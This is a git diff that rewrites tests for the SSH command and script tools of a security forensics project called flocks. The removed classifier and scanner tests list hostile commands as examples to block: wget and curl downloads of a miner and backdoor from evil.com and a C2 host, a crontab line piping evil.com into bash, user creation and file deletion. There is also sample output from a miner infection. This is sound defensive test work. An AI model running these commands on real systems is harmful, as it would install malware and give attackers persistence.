b/tests/identity/test_subject_context.py new file mode 100644 index 000000000..50aa32de1 --- /dev/null +++ b/tests/identity/test_subject_context.py @@ -0,0 +1,19 @@ +from flocks.identity import Entry, Subject + + +def test_subject_preserves_opaque_transport_attributes() -> None: + subject = Subject( + subject_id="channel-user-1", + subject_type="channel_user", + attributes={"evidence": {"provider": "feishu"}}, + ) + + assert subject.attributes["evidence"]["provider"] == "feishu" + assert subject.display_name is None + assert subject.model_dump() == { + "subject_id": "channel-user-1", + "subject_type": "channel_user", + "display_name": None, + "attributes": {"evidence": {"provider": "feishu"}}, + } + assert Entry.CHANNEL.value == "channel" diff --git a/tests/integration/integration_ssh_ai247.py b/tests/integration/integration_ssh_ai247.py index e1c10263b..cbbc91b8c 100644 --- a/tests/integration/integration_ssh_ai247.py +++ b/tests/integration/integration_ssh_ai247.py @@ -1,44 +1,26 @@ -""" -Integration test: SSH connection to ai247 host. - -This file is intentionally excluded from git (see .gitignore). -Run manually to verify the ssh_host_cmd tool works end-to-end. +"""Optional manual smoke test for the neutral OSS SSH transport. -Usage: - uv run python tests/integration_ssh_ai247.py - # or via pytest (skips if ai247 not reachable): - uv run pytest tests/integration_ssh_ai247.py -v +This is intentionally excluded from the normal test suite. It validates +connectivity only; command authorization, audit, and command safety belong to +FlocksPro and must be exercised by its local policy tests rather than here. """ +from __future__ import annotations + import asyncio -import json import subprocess -import sys -from pathlib import Path import pytest -# Ensure project root is on sys.path when run directly -sys.path.insert(0, str(Path(__file__).parent.parent)) - -from flocks.tool.security.ssh_host_cmd import ( - SafetyDecision, - classify_command, - _audit_log, - AUDIT_LOG_PATH, -) from flocks.tool.registry import ToolContext, ToolRegistry -TARGET_HOST = "ai247" -TARGET_USER = "root" +TARGET_HOST = "ai247" -# --------------------------------------------------------------------------- -# Helpers -# --------------------------------------------------------------------------- def _is_host_reachable(host: str) -> bool: - """Quick connectivity check.""" + """Return whether the configured manual-test host accepts SSH.""" + try: result = subprocess.run( ["ssh", "-o", "ConnectTimeout=5", "-o", "BatchMode=yes", host, "echo ok"], @@ -51,324 +33,33 @@ def _is_host_reachable(host: str) -> bool: return False -def _make_ctx() -> ToolContext: - return ToolContext(session_id="integration-test", message_id="msg-001") - - -# --------------------------------------------------------------------------- -# Pytest fixtures -# --------------------------------------------------------------------------- - @pytest.fixture(scope="module", autouse=True) -def require_ai247(): - """Skip all tests in this module if ai247 is not reachable.""" +def require_manual_host() -> None: if not _is_host_reachable(TARGET_HOST): - pytest.skip(f"Host '{TARGET_HOST}' not reachable — skipping integration tests") - - -# --------------------------------------------------------------------------- -# Safety classifier integration tests -# --------------------------------------------------------------------------- - -class TestSafetyClassifierIntegration: - """Verify classifier behavior with realistic forensic commands.""" - - def test_allowed_commands_pass(self): - forensic_cmds = [ - "ps aux", - "ss -tunap", - "uname -a", - "cat /etc/passwd", - "last -n 20", - "crontab -l", - "systemctl list-units --type=service", - "find /tmp -type f", - "grep 'Failed' /var/log/auth.log | head -20", - ] - for cmd in forensic_cmds: - decision, reason = classify_command(cmd, set()) - assert decision == SafetyDecision.ALLOWED, ( - f"Command should be ALLOWED: {cmd!r} → {decision} ({reason})" - ) - - def test_destructive_commands_blocked(self): - dangerous_cmds = [ - "rm -rf /tmp/test", - "sudo cat /etc/shadow", - "kill -9 1", - "systemctl stop sshd", - "apt install netcat", - "echo payload > /tmp/evil.sh", - ] - for cmd in dangerous_cmds: - decision, _ = classify_command(cmd, set()) - assert decision == SafetyDecision.BLOCKED, ( - f"Command should be BLOCKED: {cmd!r} → {decision}" - ) - - -# --------------------------------------------------------------------------- -# Live SSH execution tests -# --------------------------------------------------------------------------- - -class TestLiveSSHExecution: - """Execute real commands on ai247 and verify results.""" - - @pytest.fixture(autouse=True) - def _import_tool(self): - # Ensure tool is registered - import flocks.tool.security.ssh_host_cmd # noqa: F401 - - def _run(self, command: str, **kwargs) -> dict: - """Run ssh_host_cmd synchronously.""" - ctx = _make_ctx() - result = asyncio.run( - ToolRegistry.execute("ssh_host_cmd", ctx, host=TARGET_HOST, command=command, **kwargs) - ) - return result - - def test_uname(self): - """Basic connectivity and command execution.""" - result = self._run("uname -a") - assert result.success, f"uname failed: {result.error}" - assert "Linux" in result.output, f"Unexpected uname output: {result.output}" - print(f"\n[ai247] uname: {result.output.strip()}") - - def test_process_list(self): - """Process listing returns meaningful output.""" - result = self._run("ps aux | head -20") - assert result.success, f"ps failed: {result.error}" - assert "PID" in result.output or "root" in result.output, ( - f"Unexpected ps output: {result.output[:200]}" - ) - print(f"\n[ai247] ps aux (first 20 lines):\n{result.output[:500]}") - - def test_network_connections(self): - """Network connection listing works.""" - result = self._run("ss -tunap") - assert result.success, f"ss failed: {result.error}" - print(f"\n[ai247] ss -tunap:\n{result.output[:500]}") - - def test_who_is_logged_in(self): - """Session information retrieval.""" - result = self._run("who; w") - assert result.success, f"who failed: {result.error}" - print(f"\n[ai247] who / w:\n{result.output}") - - def test_last_logins(self): - """Login history.""" - result = self._run("last -n 10") - assert result.success, f"last failed: {result.error}" - print(f"\n[ai247] last -n 10:\n{result.output}") - - def test_cron_jobs(self): - """Cron job listing.""" - result = self._run("crontab -l 2>/dev/null || echo '(no crontab)'") - # Even if no crontab, it should not error at SSH level - print(f"\n[ai247] crontab -l:\n{result.output}") - - def test_temp_dirs(self): - """Temp directory inspection.""" - result = self._run("ls -la /tmp /dev/shm 2>/dev/null") - assert result.success, f"ls /tmp failed: {result.error}" - print(f"\n[ai247] /tmp contents:\n{result.output}") + pytest.skip(f"Host '{TARGET_HOST}' is not reachable — skipping manual SSH smoke") - def test_auth_log_recent(self): - """Auth log read.""" - result = self._run("tail -30 /var/log/auth.log 2>/dev/null || tail -30 /var/log/secure 2>/dev/null || echo '(no auth log)'") - print(f"\n[ai247] auth.log (last 30):\n{result.output[:1000]}") - def test_systemctl_status(self): - """Systemd service listing.""" - result = self._run("systemctl list-units --type=service --state=running --no-pager 2>/dev/null || echo '(systemd not available)'") - print(f"\n[ai247] running services:\n{result.output[:1000]}") - - def test_listening_ports(self): - """Listening port enumeration.""" - result = self._run("ss -tlnup") - assert result.success, f"ss -tlnup failed: {result.error}" - print(f"\n[ai247] listening ports:\n{result.output}") - - def test_dry_run_mode(self): - """dry_run=True should classify without executing.""" - result = self._run("ps aux", dry_run=True) - assert result.success - assert result.output["dry_run"] is True - assert result.output["safety_decision"] == SafetyDecision.ALLOWED - print(f"\n[dry_run] ps aux: {result.output}") - - def test_blocked_command_rejected(self): - """Destructive command must be rejected without executing.""" - result = self._run("rm -rf /tmp/integration_test_should_not_exist") - assert not result.success, "Destructive command should have been rejected" - assert "BLOCKED" in result.error - print(f"\n[BLOCKED] rm -rf result: {result.error}") - - def test_audit_log_written(self): - """Verify audit log is created after command execution.""" - before_size = AUDIT_LOG_PATH.stat().st_size if AUDIT_LOG_PATH.exists() else 0 - self._run("hostname") - assert AUDIT_LOG_PATH.exists(), "Audit log file should exist" - after_size = AUDIT_LOG_PATH.stat().st_size - assert after_size > before_size, "Audit log should have grown" - # Verify log content - content = AUDIT_LOG_PATH.read_text() - assert TARGET_HOST in content - print(f"\n[Audit] Log file: {AUDIT_LOG_PATH}") - print(f"[Audit] Last entry:\n{content.split(chr(10)+chr(10))[-2]}") - - def test_command_timeout(self): - """Commands that take too long should timeout.""" - result = self._run("sleep 10", timeout=2) - assert not result.success - assert "timed out" in result.error.lower() or "timeout" in result.error.lower() - print(f"\n[Timeout] sleep 10 with timeout=2: {result.error}") - - -# --------------------------------------------------------------------------- -# ssh_run_script triage integration tests -# --------------------------------------------------------------------------- - -TRIAGE_SCRIPT_PATH = ".flocks/plugins/agents/host-forensics/scripts/triage.sh" - - -class TestLiveTriageExecution: - """Verify ssh_run_script tool works end-to-end with triage.sh.""" - - @pytest.fixture(autouse=True) - def _import_tools(self): - import flocks.tool.security.ssh_host_cmd # noqa: F401 - import flocks.tool.security.ssh_run_script # noqa: F401 - - def _run_triage(self, **kwargs) -> dict: - ctx = _make_ctx() - return asyncio.run( - ToolRegistry.execute( - "ssh_run_script", ctx, - host=TARGET_HOST, - script_path=TRIAGE_SCRIPT_PATH, - **kwargs, - ) - ) - - def test_triage_succeeds(self): - """Full triage script runs successfully and returns output.""" - result = self._run_triage() - assert result.success, f"Triage failed: {result.error}" - assert result.output is not None - assert "TRIAGE_COMPLETE" in result.output - print(f"\n[Triage] success, output length: {len(result.output)} chars") - - def test_triage_sections_present(self): - """Key forensic sections must be present in triage output.""" - result = self._run_triage() - assert result.success, f"Triage failed: {result.error}" - required_sections = [ - "CPU_TOP_PROCESSES", - "LISTENING_PORTS", - "CRON_JOBS", - "RECENT_AUTH_EVENTS", - "USER_ACCOUNTS_INTERACTIVE", - ] - for section in required_sections: - assert section in result.output, f"Missing section: {section}" - print(f"\n[Triage] All required sections present") - - def test_triage_metadata(self): - """Metadata contains expected keys.""" - result = self._run_triage() - assert result.success - meta = result.metadata - assert "sections_collected" in meta - assert "script" in meta - assert meta["script"] == "triage.sh" - assert "elapsed_ms" in meta - print(f"\n[Triage] script={meta['script']}") - print(f"[Triage] sections_collected={meta['sections_collected']}") - print(f"[Triage] elapsed_ms={meta['elapsed_ms']}") - - def test_triage_summary_header(self): - """Triage output starts with a summary header.""" - result = self._run_triage() - assert result.success - assert "SCRIPT EXECUTION SUMMARY" in result.output - assert "triage.sh" in result.output - - def test_triage_audit_log(self): - """Triage execution is recorded in the audit log.""" - from flocks.tool.security.ssh_utils import AUDIT_LOG_PATH - before_size = AUDIT_LOG_PATH.stat().st_size if AUDIT_LOG_PATH.exists() else 0 - self._run_triage() - assert AUDIT_LOG_PATH.exists() - after_size = AUDIT_LOG_PATH.stat().st_size - assert after_size > before_size, "Audit log should have grown after triage" - content = AUDIT_LOG_PATH.read_text() - assert "[script:triage.sh]" in content - print(f"\n[Triage Audit] Log updated, size: {before_size} → {after_size}") - - def test_triage_timeout_parameter(self): - """Triage respects timeout parameter (just verify it doesn't crash with low timeout).""" - # With a 15s timeout the script should still collect partial output on most hosts - result = self._run_triage(timeout=15) - # May succeed or timeout, but should not raise unhandled exception - assert result.output is not None or result.error is not None - print(f"\n[Triage timeout=15] success={result.success}, error={result.error}") - - -# --------------------------------------------------------------------------- -# Quick forensic sweep -# --------------------------------------------------------------------------- - -def quick_forensic_sweep(): - """ - Run a mini compromise detection sweep on ai247. - Useful for manual validation of the analysis workflow. - """ +def _run(command: str, **kwargs): import flocks.tool.security.ssh_host_cmd # noqa: F401 - ctx = _make_ctx() - - async def _sweep(): - print(f"\n{'='*60}") - print(f"Quick Forensic Sweep: {TARGET_HOST}") - print(f"{'='*60}\n") - - commands = [ - ("System info", "uname -a && hostname && uptime"), - ("CPU top processes","ps aux --sort=-%cpu | head -15"), - ("Network conns", "ss -tunap | grep ESTAB | head -20"), - ("Listening ports", "ss -tlnup"), - ("Temp files", "ls -la /tmp /dev/shm 2>/dev/null"), - ("Cron jobs", "crontab -l 2>/dev/null; cat /etc/cron.d/* 2>/dev/null | head -30"), - ("Recent auth", "grep 'Failed\\|Accepted' /var/log/auth.log 2>/dev/null | tail -20 || grep 'Failed\\|Accepted' /var/log/secure 2>/dev/null | tail -20"), - ("Recent logins", "last -n 10"), - ] - - for label, cmd in commands: - print(f"\n--- {label} ---") - result = await ToolRegistry.execute( - "ssh_host_cmd", ctx, host=TARGET_HOST, command=cmd - ) - if result.success: - print(result.output[:800]) - else: - print(f"[ERROR] {result.error}") - - print(f"\n{'='*60}") - print("Sweep complete. Check audit log:") - print(f" {AUDIT_LOG_PATH}") - - asyncio.run(_sweep()) + return asyncio.run( + ToolRegistry.execute( + "ssh_host_cmd", + ToolContext(session_id="integration-test", message_id="msg-001"), + host=TARGET_HOST, + command=command, + **kwargs, + ) + ) -# --------------------------------------------------------------------------- -# Entry point for direct execution -# --------------------------------------------------------------------------- +def test_neutral_ssh_transport_executes_a_manual_smoke_command() -> None: + result = _run("uname -a") + assert result.success, result.error + assert result.output -if __name__ == "__main__": - if not _is_host_reachable(TARGET_HOST): - print(f"ERROR: Host '{TARGET_HOST}' is not reachable. Check SSH config.") - sys.exit(1) - print(f"Host '{TARGET_HOST}' is reachable. Running quick forensic sweep...\n") - quick_forensic_sweep() +def test_neutral_ssh_transport_dry_run_does_not_execute() -> None: + result = _run("uname -a", dry_run=True) + assert result.success + assert result.output["dry_run"] is True diff --git a/tests/integration/test_ssh_host_cmd.py b/tests/integration/test_ssh_host_cmd.py index 12295d8c1..1c2904dfe 100644 --- a/tests/integration/test_ssh_host_cmd.py +++ b/tests/integration/test_ssh_host_cmd.py @@ -1,383 +1,123 @@ -""" -Unit tests for ssh_host_cmd tool — safety classifier and audit logger. -""" +"""Tests for the neutral OSS SSH command transport primitive.""" -import json -import tempfile -from pathlib import Path -from unittest.mock import patch, MagicMock +from __future__ import annotations -import pytest - -from flocks.tool.security.ssh_host_cmd import ( - SafetyDecision, - classify_command, - _split_pipeline, - _get_base_command, - _strip_quoted, - _classify_segment, - _load_user_allowlist, - _save_to_user_allowlist, - USER_ALLOWLIST_PATH, -) -from flocks.tool.security.ssh_utils import audit_log, AUDIT_LOG_PATH - - -# --------------------------------------------------------------------------- -# Helpers -# --------------------------------------------------------------------------- - -class TestSplitPipeline: - def test_single_command(self): - assert _split_pipeline("ps aux") == ["ps aux"] - - def test_pipe(self): - parts = _split_pipeline("ps aux | grep xmrig") - assert len(parts) == 2 - assert "ps aux" in parts - - def test_semicolon(self): - parts = _split_pipeline("uname -a; hostname") - assert len(parts) == 2 - - def test_and_and(self): - parts = _split_pipeline("ls /tmp && cat /etc/passwd") - assert len(parts) == 2 - - def test_complex_chain(self): - parts = _split_pipeline("ps aux | grep ssh | head -10") - assert len(parts) == 3 - - def test_empty(self): - assert _split_pipeline("") == [] - - def test_pipe_inside_double_quotes_not_split(self): - """Pipe char inside double quotes should not cause a split.""" - parts = _split_pipeline('grep "a|b" /var/log/auth.log') - assert len(parts) == 1 - assert parts[0] == 'grep "a|b" /var/log/auth.log' - - def test_semicolon_inside_single_quotes_not_split(self): - parts = _split_pipeline("echo 'a;b' | cat") - assert len(parts) == 2 - assert parts[0] == "echo 'a;b'" - - def test_mixed_quotes_and_pipes(self): - parts = _split_pipeline("""grep -E "Failed|Accepted" /var/log/auth.log | head -20""") - assert len(parts) == 2 - assert 'grep -E "Failed|Accepted" /var/log/auth.log' == parts[0] - - -class TestGetBaseCommand: - def test_simple(self): - assert _get_base_command("ps aux") == "ps" - - def test_full_path(self): - assert _get_base_command("/usr/bin/ps aux") == "ps" - - def test_with_env_var(self): - result = _get_base_command("LANG=C ps aux") - assert result == "ps" - - def test_with_multiple_env_vars(self): - result = _get_base_command("LANG=C LC_ALL=C TZ=UTC ps aux") - assert result == "ps" - - def test_empty(self): - assert _get_base_command("") == "" - - -class TestStripQuoted: - def test_double_quotes(self): - assert ">" not in _strip_quoted('awk "{if ($1 > 0) print}"') - - def test_single_quotes(self): - assert ">" not in _strip_quoted("awk '{if ($1 > 0) print}'") - - def test_no_quotes(self): - assert ">" in _strip_quoted("echo hello > /tmp/file") - - def test_mixed(self): - result = _strip_quoted("""grep "Failed|Accepted" file""") - assert "|" not in result - - -# --------------------------------------------------------------------------- -# BLOCKED commands -# --------------------------------------------------------------------------- - -class TestBlockedCommands: - """Destructive commands must always be blocked.""" - - @pytest.mark.parametrize("cmd", [ - "rm -rf /tmp/evil", - "rm /etc/passwd", - "rmdir /var/log", - "mkdir /tmp/newdir", - "touch /tmp/newfile", - "cp /etc/passwd /tmp/passwd.bak", - "mv /tmp/a /tmp/b", - "ln -s /etc/passwd /tmp/pw", - "chmod 777 /etc/shadow", - "chown root:root /tmp/file", - "chattr +i /etc/passwd", - "sudo cat /etc/shadow", - "su -", - "passwd root", - "useradd hacker", - "userdel admin", - "usermod -aG sudo hacker", - "kill -9 1234", - "killall nginx", - "pkill sshd", - "apt install netcat", - "apt-get install -y curl", - "yum install wget", - "dnf install python3", - "pip install paramiko", - "npm install express", - "systemctl stop sshd", - "systemctl start malware", - "systemctl restart nginx", - "systemctl enable backdoor", - "systemctl disable firewall", - "wget http://evil.com/miner", - "curl -o /tmp/miner http://evil.com/miner", - "curl --output /tmp/backdoor http://c2.example.com/b", - "echo malware > /tmp/evil.sh", - "cat /etc/passwd >> /tmp/data.txt", - "tee /etc/cron.d/evil", - "sed -i 's/root/hacker/' /etc/passwd", - "find / -exec rm {} \\;", - "find /tmp -delete", - ]) - def test_blocked(self, cmd): - decision, reason = classify_command(cmd, set()) - assert decision == SafetyDecision.BLOCKED, ( - f"Expected BLOCKED for: {cmd!r}, got {decision} ({reason})" - ) - - def test_blocked_in_pipeline(self): - """A blocked command anywhere in a pipeline blocks the whole thing.""" - decision, _ = classify_command("ps aux | rm -rf /", set()) - assert decision == SafetyDecision.BLOCKED +from unittest.mock import AsyncMock - def test_blocked_with_and(self): - decision, _ = classify_command("uname -a && sudo cat /etc/shadow", set()) - assert decision == SafetyDecision.BLOCKED - - -# --------------------------------------------------------------------------- -# ALLOWED commands -# --------------------------------------------------------------------------- - -class TestAllowedCommands: - """Standard read-only forensic commands must be auto-allowed.""" - - @pytest.mark.parametrize("cmd", [ - "ps aux", - "ps auxf", - "pstree", - "top -bn1", - "top -bn1 | head -20", - "uname -a", - "uname -r", - "hostname", - "uptime", - "id", - "whoami", - "who", - "w", - "last -n 20", - "lastlog", - "ss -tunap", - "ss -tlnup", - "netstat -tunap", - "ip addr", - "ip route", - "ifconfig", - "arp -n", - "ls -la /tmp", - "ls -la /dev/shm", - "cat /etc/passwd", - "cat /var/log/auth.log", - "head -100 /var/log/syslog", - "tail -500 /var/log/auth.log", - "grep 'Failed password' /var/log/auth.log", - "grep -r 'eval' /var/www", - "find / -maxdepth 4 -newer /etc/passwd -type f", - "find /tmp -type f", - "stat /tmp", - "file /usr/bin/ps", - "md5sum /usr/bin/ps", - "sha256sum /usr/bin/ps", - "strings /tmp/suspicious", - "hexdump -C /tmp/binary | head -20", - "lsof -p 1234", - "lsof -i", - "crontab -l", - "systemctl status sshd", - "systemctl list-units --type=service", - "dpkg -l", - "rpm -qa", - "pip list", - "env", - "printenv", - "history", - "df -h", - "free -m", - "dmesg | tail -50", - "journalctl -n 100 --no-pager", - "cat /root/.ssh/authorized_keys", - "cat /etc/crontab", - "cat /etc/hosts", - "cat /etc/resolv.conf", - "cat /etc/sudoers", - "cat /proc/1234/cmdline | tr '\\0' ' '", - "ls -la /proc/1234/exe", - "ps aux | grep xmrig | grep -v grep", - "ss -tunap | grep ESTAB", - "grep 'Accepted' /var/log/auth.log | awk '{print $11}' | sort | uniq -c | sort -rn", - # awk with comparison operators inside quotes must not be blocked - "ps aux | awk '{if ($3 > 90) print}'", - "awk '{if ($1 > 0) print}' /var/log/syslog", - ]) - def test_allowed(self, cmd): - decision, reason = classify_command(cmd, set()) - assert decision == SafetyDecision.ALLOWED, ( - f"Expected ALLOWED for: {cmd!r}, got {decision} ({reason})" - ) - - def test_systemctl_readonly_subcommands(self): - for subcmd in ["status sshd", "list-units", "list-timers", "show nginx", "is-active sshd"]: - cmd = f"systemctl {subcmd}" - decision, _ = classify_command(cmd, set()) - assert decision == SafetyDecision.ALLOWED, f"systemctl {subcmd} should be ALLOWED" - - def test_dpkg_readonly(self): - for args in ["-l", "--list", "-L bash", "-s bash"]: - cmd = f"dpkg {args}" - decision, _ = classify_command(cmd, set()) - assert decision == SafetyDecision.ALLOWED, f"dpkg {args} should be ALLOWED" - - def test_crontab_list(self): - decision, _ = classify_command("crontab -l", set()) - assert decision == SafetyDecision.ALLOWED - - def test_user_allowlist_overrides_needs_confirm(self): - """Commands in user allowlist are always allowed regardless of classifier.""" - cmd = "python3 -c \"import os; print(os.listdir('/tmp'))\"" - allowlist = {cmd.strip()} - decision, reason = classify_command(cmd, allowlist) - assert decision == SafetyDecision.ALLOWED - assert reason == "user-allowlist" - - -# --------------------------------------------------------------------------- -# NEEDS_CONFIRM commands -# --------------------------------------------------------------------------- - -class TestNeedsConfirmCommands: - """Gray-area commands should go to LLM evaluation.""" - - @pytest.mark.parametrize("cmd", [ - "python3 -c \"import os; print(os.listdir('/'))\"", - "python -c \"open('/etc/passwd').read()\"", - "perl -e \"print 'hello'\"", - "curl http://metadata.internal/latest", - "nc -z 192.168.1.1 22", - "base64 /etc/passwd", - "dd if=/dev/sda bs=512 count=1", - ]) - def test_needs_confirm(self, cmd): - decision, _ = classify_command(cmd, set()) - assert decision == SafetyDecision.NEEDS_CONFIRM, ( - f"Expected NEEDS_CONFIRM for: {cmd!r}, got {decision}" - ) - - -# --------------------------------------------------------------------------- -# Blocked in pipeline -# --------------------------------------------------------------------------- - -class TestPipelineSafety: - def test_read_then_write_is_blocked(self): - decision, _ = classify_command("cat /etc/passwd > /tmp/pw.txt", set()) - assert decision == SafetyDecision.BLOCKED - - def test_read_pipe_grep_is_allowed(self): - decision, _ = classify_command("cat /var/log/auth.log | grep Failed", set()) - assert decision == SafetyDecision.ALLOWED - - def test_safe_chain_allowed(self): - cmd = "ps aux | grep -i xmrig | grep -v grep" - decision, _ = classify_command(cmd, set()) - assert decision == SafetyDecision.ALLOWED - - -# --------------------------------------------------------------------------- -# Audit logger -# --------------------------------------------------------------------------- - -class TestAuditLogger: - def test_audit_log_creates_file(self, tmp_path): - log_path = tmp_path / "audit" / "ssh_commands.log" - with patch("flocks.tool.security.ssh_utils.AUDIT_LOG_PATH", log_path): - audit_log( - session_id="test-session", - host="192.168.1.1", - username="root", - port=22, - command="ps aux", - decision="ALLOWED", - source="static-rule", - exit_code=0, - output_bytes=1024, - elapsed_ms=234, - ) - assert log_path.exists() - content = log_path.read_text() - assert "ps aux" in content - assert "ALLOWED" in content - assert "static-rule" in content - assert "192.168.1.1" in content - assert "test-session" in content - - def test_audit_log_appends(self, tmp_path): - log_path = tmp_path / "audit" / "ssh_commands.log" - with patch("flocks.tool.security.ssh_utils.AUDIT_LOG_PATH", log_path): - audit_log("s1", "host1", "root", 22, "ps aux", "ALLOWED", "static-rule") - audit_log("s1", "host1", "root", 22, "ss -tunap", "ALLOWED", "static-rule") - content = log_path.read_text() - assert content.count("cmd:") == 2 - - -# --------------------------------------------------------------------------- -# User allowlist -# --------------------------------------------------------------------------- - -class TestUserAllowlist: - def test_save_and_load(self, tmp_path): - allowlist_path = tmp_path / "ssh_allowed_commands.json" - with patch("flocks.tool.security.ssh_host_cmd.USER_ALLOWLIST_PATH", allowlist_path): - _save_to_user_allowlist("python3 -c \"print('hello')\"") - _save_to_user_allowlist("curl http://internal-api/status") - loaded = _load_user_allowlist() - - assert "python3 -c \"print('hello')\"" in loaded - assert "curl http://internal-api/status" in loaded - - def test_save_deduplicates(self, tmp_path): - allowlist_path = tmp_path / "ssh_allowed_commands.json" - with patch("flocks.tool.security.ssh_host_cmd.USER_ALLOWLIST_PATH", allowlist_path): - _save_to_user_allowlist("curl http://api/check") - _save_to_user_allowlist("curl http://api/check") - loaded = _load_user_allowlist() - - assert len([c for c in loaded if c == "curl http://api/check"]) == 1 +import pytest - def test_load_missing_file_returns_empty(self, tmp_path): - missing_path = tmp_path / "nonexistent.json" - with patch("flocks.tool.security.ssh_host_cmd.USER_ALLOWLIST_PATH", missing_path): - result = _load_user_allowlist() - assert result == set() +from flocks.tool.registry import ToolContext +from flocks.tool.security.ssh_host_cmd import execute_ssh_host_command + + +@pytest.mark.asyncio +async def test_ssh_host_command_forwards_exact_request_to_transport( + monkeypatch: pytest.MonkeyPatch, +) -> None: + execute = AsyncMock(return_value=(0, "ok", "")) + monkeypatch.setattr( + "flocks.tool.security.ssh_host_cmd.execute_ssh_command", execute + ) + + result = await execute_ssh_host_command( + ToolContext(session_id="s-1", message_id="m-1"), + host="host-a", + command="printf 'exact command'", + username="analyst", + port=2222, + timeout=15, + ) + + assert result.success is True + assert result.output == "ok" + assert execute.await_args.kwargs["command"] == "printf 'exact command'" + assert execute.await_args.kwargs["host"] == "host-a" + assert execute.await_args.kwargs["username"] == "analyst" + assert execute.await_args.kwargs["port"] == 2222 + + +@pytest.mark.asyncio +async def test_ssh_host_command_dry_run_does_not_open_transport( + monkeypatch: pytest.MonkeyPatch, +) -> None: + execute = AsyncMock() + monkeypatch.setattr( + "flocks.tool.security.ssh_host_cmd.execute_ssh_command", execute + ) + + result = await execute_ssh_host_command( + ToolContext(session_id="s-1", message_id="m-1"), + host="host-a", + command="uname -a", + dry_run=True, + ) + + assert result.success is True + assert result.output == { + "dry_run": True, + "command": "uname -a", + "safety_decision": "ALLOWED", + "reason": "static-rule", + } + execute.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_ssh_host_command_blacklist_blocks_before_transport( + monkeypatch: pytest.MonkeyPatch, +) -> None: + execute = AsyncMock() + monkeypatch.setattr( + "flocks.tool.security.ssh_host_cmd.execute_ssh_command", execute + ) + + result = await execute_ssh_host_command( + ToolContext(session_id="s-1", message_id="m-1"), + host="host-a", + command="sudo systemctl restart sshd", + ) + + assert result.success is False + assert "OSS safety blacklist" in (result.error or "") + execute.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_ssh_host_command_blacklist_blocks_escaped_executable( + monkeypatch: pytest.MonkeyPatch, +) -> None: + execute = AsyncMock() + monkeypatch.setattr( + "flocks.tool.security.ssh_host_cmd.execute_ssh_command", execute + ) + + result = await execute_ssh_host_command( + ToolContext(session_id="s-1", message_id="m-1"), + host="host-a", + command=r"r\m -rf /tmp/test", + ) + + assert result.success is False + assert "OSS safety blacklist" in (result.error or "") + execute.assert_not_awaited() + + +@pytest.mark.asyncio +async def test_ssh_host_command_blacklist_dry_run_still_blocks( + monkeypatch: pytest.MonkeyPatch, +) -> None: + execute = AsyncMock() + monkeypatch.setattr( + "flocks.tool.security.ssh_host_cmd.execute_ssh_command", execute + ) + + result = await execute_ssh_host_command( + ToolContext(session_id="s-1", message_id="m-1"), + host="host-a", + command="rm -rf /tmp/test", + dry_run=True, + ) + + assert result.success is False + assert "OSS safety blacklist" in (result.error or "") + execute.assert_not_awaited() diff --git a/tests/integration/test_ssh_run_script.py b/tests/integration/test_ssh_run_script.py index fa2e8996f..646195be6 100644 --- a/tests/integration/test_ssh_run_script.py +++ b/tests/integration/test_ssh_run_script.py @@ -1,316 +1,50 @@ -""" -Unit tests for ssh_run_script tool — safety scanner, section parsing, -and output truncation. -""" +"""Tests for neutral OSS SSH script transport and output formatting.""" + +from __future__ import annotations + +from unittest.mock import AsyncMock import pytest +from flocks.tool.registry import ToolContext from flocks.tool.security.ssh_run_script import ( _extract_sections, - _scan_script_safety, _truncate_output, + execute_ssh_script_content, ) -# --------------------------------------------------------------------------- -# Fixtures -# --------------------------------------------------------------------------- - -CLEAN_SCRIPT_OUTPUT = """\ - -### TRIAGE_START ### -Sat Mar 7 12:00:00 UTC 2026 -myhost -Linux myhost 5.15.0-91-generic #101-Ubuntu SMP x86_64 -12:00:00 up 30 days, 2:15, 1 user, load average: 0.10, 0.05, 0.01 - -### CPU_TOP_PROCESSES ### -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 1 0.0 0.1 169436 11888 ? Ss Feb05 0:07 /sbin/init -root 432 0.0 0.0 72308 6480 ? Ss Feb05 0:01 /usr/sbin/sshd - -### NETWORK_ESTABLISHED ### - -### KNOWN_MINER_PROCESSES ### - -### HIDDEN_EXECUTABLE_IN_TMP ### - -### TRIAGE_COMPLETE ### -Sat Mar 7 12:00:30 UTC 2026 -""" - -SUSPICIOUS_SCRIPT_OUTPUT = """\ - -### TRIAGE_START ### -Sat Mar 7 12:00:00 UTC 2026 -victim-host - -### CPU_TOP_PROCESSES ### -USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND -root 9821 99.5 2.1 2457128 34560 ? Sl Mar04 4320:15 /tmp/.hidden/xmrig - -### KNOWN_MINER_PROCESSES ### -root 9821 99.5 2.1 2457128 34560 ? Sl Mar04 4320:15 /tmp/.hidden/xmrig - -### SUSPICIOUS_NETWORK_TO_KNOWN_PORTS ### -ESTAB 0 0 192.168.1.100:45678 45.76.33.21:3333 users:(("xmrig",pid=9821,fd=5)) - -### HIDDEN_EXECUTABLE_IN_TMP ### -/tmp/.hidden -/tmp/.hidden/xmrig - -### TRIAGE_COMPLETE ### -Sat Mar 7 12:00:30 UTC 2026 -""" - - -# --------------------------------------------------------------------------- -# _scan_script_safety -# --------------------------------------------------------------------------- - -class TestScanScriptSafety: - def test_clean_read_only_script_passes(self): - script = """\ -#!/bin/bash -ps aux --sort=-%cpu | head -25 -ss -tunap | grep ESTAB -cat /etc/hosts -find /tmp -name ".*" -""" - violations = _scan_script_safety(script) - assert violations == [], f"Expected no violations, got: {violations}" - - def test_rm_command_detected(self): - script = "rm -rf /tmp/malware\n" - violations = _scan_script_safety(script) - assert len(violations) == 1 - assert "rm" in violations[0].lower() or "deletion" in violations[0].lower() - - def test_write_redirect_to_file_detected(self): - script = "echo 'evil' > /etc/cron.d/backdoor\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - assert any("redirection" in v.lower() or ">" in v for v in violations) - - def test_write_redirect_to_dev_null_allowed(self): - # Redirecting to /dev/null is harmless and should NOT be flagged - script = "some_command > /dev/null\nother_cmd >> /dev/null\n" - violations = _scan_script_safety(script) - assert violations == [], f"False positive on /dev/null redirect: {violations}" - - def test_stderr_redirect_without_space_allowed(self): - # 2>/dev/null (no space) is the common pattern in forensic scripts - script = "ps aux 2>/dev/null | head -25\n" - violations = _scan_script_safety(script) - assert violations == [], f"False positive on 2>/dev/null: {violations}" - - def test_append_redirect_to_file_detected(self): - script = "echo '* * * * * curl http://evil.com | bash' >> /etc/crontab\n" - violations = _scan_script_safety(script) - assert len(violations) >= 1 - - def test_chmod_detected(self): - script = "chmod +x 